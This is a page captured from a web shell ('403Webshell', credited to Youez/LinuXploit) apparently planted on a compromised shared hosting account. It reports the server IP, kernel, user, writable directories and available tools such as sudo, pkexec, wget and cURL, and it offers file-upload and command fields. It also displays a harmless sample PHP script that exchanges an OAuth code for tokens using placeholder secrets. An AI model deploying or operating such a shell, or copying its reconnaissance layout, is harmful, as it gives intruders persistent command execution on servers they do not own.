403Webshell
Server IP : 192.185.180.161  /  Your IP : 216.73.216.153
Web Server : Apache
System : Linux simka.websitewelcome.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : xstream ( 1368)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home2/xstream/public_html/createsend-php-7-0/samples/authentication/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/xstream/public_html/createsend-php-7-0/samples/authentication/exchange_token.php
<?php

require_once '../../csrest_general.php';

$client_id = 8998879;
$client_secret = 'iou0q9wud0q9wd0q9wid0q9iwd0q9wid0q9wdqwd';
$redirect_uri = 'http://example.com/auth';
$code = 'd92id09iwdwqw';

$result = CS_REST_General::exchange_token($client_id, $client_secret, $redirect_uri, $code);

if($result->was_successful()) {
    $access_token = $result->response->access_token;
    $expires_in = $result->response->expires_in;
    $refresh_token = $result->response->refresh_token;
    # Save $access_token, $expires_in, and $refresh_token.
    echo "access token: ".$access_token."\n";
    echo "expires in (seconds): ".$expires_in."\n";
    echo "refresh token: ".$refresh_token."\n";
} else {
    echo 'An error occurred:\n';
    echo $result->response->error.': '.$result->response->error_description."\n";
    # Handle error...
}

Youez - 2016 - github.com/yon3zu
LinuXploit